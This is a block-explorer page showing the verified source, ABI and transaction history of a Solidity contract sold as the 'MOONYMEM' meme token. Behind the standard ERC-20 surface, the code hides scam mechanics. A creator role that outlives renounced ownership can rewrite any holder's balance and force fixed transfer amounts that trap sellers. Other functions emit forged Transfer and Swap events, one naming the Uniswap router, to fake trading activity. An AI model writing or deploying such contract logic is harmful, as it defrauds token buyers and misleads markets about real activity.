ETH Price: $3,241.11 (-2.83%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve203273932024-07-17 16:18:47198 days ago1721233127IN
0xcefF42EC...8A5536D85
0 ETH0.0006478126.13086217
Approve192940072024-02-24 0:57:23343 days ago1708736243IN
0xcefF42EC...8A5536D85
0 ETH0.000584423.57344407
Approve192108692024-02-12 8:51:23355 days ago1707727883IN
0xcefF42EC...8A5536D85
0 ETH0.0004588218.46309677
Approve185414122023-11-10 12:01:23448 days ago1699617683IN
0xcefF42EC...8A5536D85
0 ETH0.0009098836.61378595
Approve185414102023-11-10 12:00:59448 days ago1699617659IN
0xcefF42EC...8A5536D85
0 ETH0.0008772935.30210039
Approve181963152023-09-23 5:04:23497 days ago1695445463IN
0xcefF42EC...8A5536D85
0 ETH0.000371937.90088508
Approve179252512023-08-16 5:16:59535 days ago1692163019IN
0xcefF42EC...8A5536D85
0 ETH0.0006559324.48353637
Approve179252482023-08-16 5:16:23535 days ago1692162983IN
0xcefF42EC...8A5536D85
0 ETH0.000545422
Approve175397712023-06-23 4:01:35589 days ago1687492895IN
0xcefF42EC...8A5536D85
0 ETH0.0006523713.84055137
Approve175395132023-06-23 3:08:47589 days ago1687489727IN
0xcefF42EC...8A5536D85
0 ETH0.0003254913.09771749
Approve175395082023-06-23 3:07:47589 days ago1687489667IN
0xcefF42EC...8A5536D85
0 ETH0.0003676314.82931841
Approve175388612023-06-23 0:56:47589 days ago1687481807IN
0xcefF42EC...8A5536D85
0 ETH0.0003659314.76090649
Approve175388602023-06-23 0:56:35589 days ago1687481795IN
0xcefF42EC...8A5536D85
0 ETH0.0003544314.26222242
Approve175388602023-06-23 0:56:35589 days ago1687481795IN
0xcefF42EC...8A5536D85
0 ETH0.0003544314.26222242
Approve175382392023-06-22 22:51:11589 days ago1687474271IN
0xcefF42EC...8A5536D85
0 ETH0.0009820420.86122902
Execute Token Sw...175377982023-06-22 21:21:47589 days ago1687468907IN
0xcefF42EC...8A5536D85
0 ETH0.0026531717.00709012
Approve175377942023-06-22 21:20:47589 days ago1687468847IN
0xcefF42EC...8A5536D85
0 ETH0.0007654216.25977021
Alter User Balan...175377922023-06-22 21:20:23589 days ago1687468823IN
0xcefF42EC...8A5536D85
0 ETH0.0008540717.00970308
Approve175377922023-06-22 21:20:23589 days ago1687468823IN
0xcefF42EC...8A5536D85
0 ETH0.0008677418.40970308
Approve175377842023-06-22 21:18:47589 days ago1687468727IN
0xcefF42EC...8A5536D85
0 ETH0.0004459717.98948787
Approve175375582023-06-22 20:32:59589 days ago1687465979IN
0xcefF42EC...8A5536D85
0 ETH0.0006809914.46608102
Approve175374542023-06-22 20:12:11589 days ago1687464731IN
0xcefF42EC...8A5536D85
0 ETH0.0009121519.35191475
Approve175373502023-06-22 19:51:11589 days ago1687463471IN
0xcefF42EC...8A5536D85
0 ETH0.0016203634.37707704
Approve175369612023-06-22 18:32:47589 days ago1687458767IN
0xcefF42EC...8A5536D85
0 ETH0.0010716122.86892452
Approve175367392023-06-22 17:47:47589 days ago1687456067IN
0xcefF42EC...8A5536D85
0 ETH0.0007832716.6176231
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DigitalMemeToken

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.16;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract DigitalMemeToken is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    string public constant _moniker = "MOONYMEM";
    string public constant _ticker = "MOME";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a3506012600a620000d2919062000372565b62989680620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b62989680620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b612397806200044c6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf2314610369578063cadc24b514610387578063d8fb9361146103b7578063dd62ed3e146103d3578063e03504af14610403578063e156b1b61461042157610142565b80638e32c003146102c557806395d89b41146102e1578063a713fd53146102ff578063a9059cbb1461031d578063adacad8c1461034d57610142565b806328226aa71161010a57806328226aa714610213578063313ce56714610231578063416c3c9d1461024f5780635c01b60c1461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd146101955780631ae1ffbc146101b357806323b872dd146101e3575b600080fd5b61014f610451565b60405161015c9190611594565b60405180910390f35b61017f600480360381019061017a919061165e565b61048e565b60405161018c91906116b9565b60405180910390f35b61019d61058e565b6040516101aa91906116e3565b60405180910390f35b6101cd60048036038101906101c89190611909565b6105b1565b6040516101da91906116b9565b60405180910390f35b6101fd60048036038101906101f891906119d8565b6107ff565b60405161020a91906116b9565b60405180910390f35b61021b610ad7565b6040516102289190611a3a565b60405180910390f35b610239610b00565b6040516102469190611a71565b60405180910390f35b610257610b09565b6040516102649190611a3a565b60405180910390f35b610275610b33565b6040516102829190611594565b60405180910390f35b6102a560048036038101906102a09190611a8c565b610b6c565b6040516102b291906116e3565b60405180910390f35b6102c3610bb5565b005b6102df60048036038101906102da9190611a8c565b610cf1565b005b6102e9610db1565b6040516102f69190611594565b60405180910390f35b610307610dee565b6040516103149190611a71565b60405180910390f35b6103376004803603810190610332919061165e565b610df3565b60405161034491906116b9565b60405180910390f35b61036760048036038101906103629190611b14565b611008565b005b610371611116565b60405161037e91906116e3565b60405180910390f35b6103a1600480360381019061039c9190611a8c565b611135565b6040516103ae91906116e3565b60405180910390f35b6103d160048036038101906103cc9190611b74565b61117e565b005b6103ed60048036038101906103e89190611bd0565b6113ca565b6040516103fa91906116e3565b60405180910390f35b61040b611451565b6040516104189190611594565b60405180910390f35b61043b600480360381019061043691906119d8565b61148a565b60405161044891906116b9565b60405180910390f35b60606040518060400160405280600881526020017f4d4f4f4e594d454d000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166105376114fc565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c91906116e3565b60405180910390a36001905092915050565b60006012600a61059e9190611d72565b629896806105ac9190611dbd565b905090565b600080600090505b85518110156107f1578581815181106105d5576105d4611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061063e5761063d611dff565b5b602002602001015160405161065391906116e3565b60405180910390a385818151811061066e5761066d611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106eb576106ea611dff565b5b602002602001015160008089878151811061070957610708611dff565b5b60200260200101516040516107219493929190611e73565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061075857610757611dff565b5b60200260200101518987858151811061077457610773611dff565b5b60200260200101516040518463ffffffff1660e01b815260040161079a93929190611eb8565b6020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611f1b565b5080806107e990611f48565b9150506105b9565b506001905095945050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90611fdc565b60405180910390fd5b60006108d285611135565b905060008111156109205780831461091f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091690612048565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096f9190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c5919061209c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a166114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5f9190612068565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac391906116e3565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600481526020017f4d4f4d450000000000000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbd6114fc565b73ffffffffffffffffffffffffffffffffffffffff16610bdb610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2890612142565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cf96114fc565b73ffffffffffffffffffffffffffffffffffffffff16610d17610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490612142565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600481526020017f4d4f4d4500000000000000000000000000000000000000000000000000000000815250905090565b601281565b60008160026000610e026114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e75906121ae565b60405180910390fd5b6000610e90610e8b6114fc565b611135565b90506000811115610ede57808314610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612048565b60405180910390fd5b5b8260026000610eeb6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f349190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a919061209c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610fb06114fc565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ff591906116e3565b60405180910390a3600191505092915050565b6110106114fc565b73ffffffffffffffffffffffffffffffffffffffff1661102e610b09565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90612240565b60405180910390fd5b60005b838390508110156111105781600360008686858181106110aa576110a9611dff565b5b90506020020160208101906110bf9190611a8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061110890611f48565b915050611087565b50505050565b6012600a6111249190611d72565b629896806111329190611dbd565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111866114fc565b73ffffffffffffffffffffffffffffffffffffffff166111a4610b09565b73ffffffffffffffffffffffffffffffffffffffff16146111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f190612240565b60405180910390fd5b600081101561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906122ac565b60405180910390fd5b60005b82518110156113c557600083828151811061125f5761125e611dff565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612318565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c8489082866040516113a8929190612338565b60405180910390a2505080806113bd90611f48565b915050611241565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600881526020017f4d4f4f4e594d454d00000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e991906116e3565b60405180910390a3600190509392505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561153e578082015181840152602081019050611523565b60008484015250505050565b6000601f19601f8301169050919050565b600061156682611504565b611570818561150f565b9350611580818560208601611520565b6115898161154a565b840191505092915050565b600060208201905081810360008301526115ae818461155b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115f5826115ca565b9050919050565b611605816115ea565b811461161057600080fd5b50565b600081359050611622816115fc565b92915050565b6000819050919050565b61163b81611628565b811461164657600080fd5b50565b60008135905061165881611632565b92915050565b60008060408385031215611675576116746115c0565b5b600061168385828601611613565b925050602061169485828601611649565b9150509250929050565b60008115159050919050565b6116b38161169e565b82525050565b60006020820190506116ce60008301846116aa565b92915050565b6116dd81611628565b82525050565b60006020820190506116f860008301846116d4565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61173b8261154a565b810181811067ffffffffffffffff8211171561175a57611759611703565b5b80604052505050565b600061176d6115b6565b90506117798282611732565b919050565b600067ffffffffffffffff82111561179957611798611703565b5b602082029050602081019050919050565b600080fd5b60006117c26117bd8461177e565b611763565b905080838252602082019050602084028301858111156117e5576117e46117aa565b5b835b8181101561180e57806117fa8882611613565b8452602084019350506020810190506117e7565b5050509392505050565b600082601f83011261182d5761182c6116fe565b5b813561183d8482602086016117af565b91505092915050565b600067ffffffffffffffff82111561186157611860611703565b5b602082029050602081019050919050565b600061188561188084611846565b611763565b905080838252602082019050602084028301858111156118a8576118a76117aa565b5b835b818110156118d157806118bd8882611649565b8452602084019350506020810190506118aa565b5050509392505050565b600082601f8301126118f0576118ef6116fe565b5b8135611900848260208601611872565b91505092915050565b600080600080600060a08688031215611925576119246115c0565b5b600061193388828901611613565b955050602086013567ffffffffffffffff811115611954576119536115c5565b5b61196088828901611818565b945050604086013567ffffffffffffffff811115611981576119806115c5565b5b61198d888289016118db565b935050606086013567ffffffffffffffff8111156119ae576119ad6115c5565b5b6119ba888289016118db565b92505060806119cb88828901611613565b9150509295509295909350565b6000806000606084860312156119f1576119f06115c0565b5b60006119ff86828701611613565b9350506020611a1086828701611613565b9250506040611a2186828701611649565b9150509250925092565b611a34816115ea565b82525050565b6000602082019050611a4f6000830184611a2b565b92915050565b600060ff82169050919050565b611a6b81611a55565b82525050565b6000602082019050611a866000830184611a62565b92915050565b600060208284031215611aa257611aa16115c0565b5b6000611ab084828501611613565b91505092915050565b600080fd5b60008083601f840112611ad457611ad36116fe565b5b8235905067ffffffffffffffff811115611af157611af0611ab9565b5b602083019150836020820283011115611b0d57611b0c6117aa565b5b9250929050565b600080600060408486031215611b2d57611b2c6115c0565b5b600084013567ffffffffffffffff811115611b4b57611b4a6115c5565b5b611b5786828701611abe565b93509350506020611b6a86828701611649565b9150509250925092565b60008060408385031215611b8b57611b8a6115c0565b5b600083013567ffffffffffffffff811115611ba957611ba86115c5565b5b611bb585828601611818565b9250506020611bc685828601611649565b9150509250929050565b60008060408385031215611be757611be66115c0565b5b6000611bf585828601611613565b9250506020611c0685828601611613565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611c9657808604811115611c7257611c71611c10565b5b6001851615611c815780820291505b8081029050611c8f85611c3f565b9450611c56565b94509492505050565b600082611caf5760019050611d6b565b81611cbd5760009050611d6b565b8160018114611cd35760028114611cdd57611d0c565b6001915050611d6b565b60ff841115611cef57611ce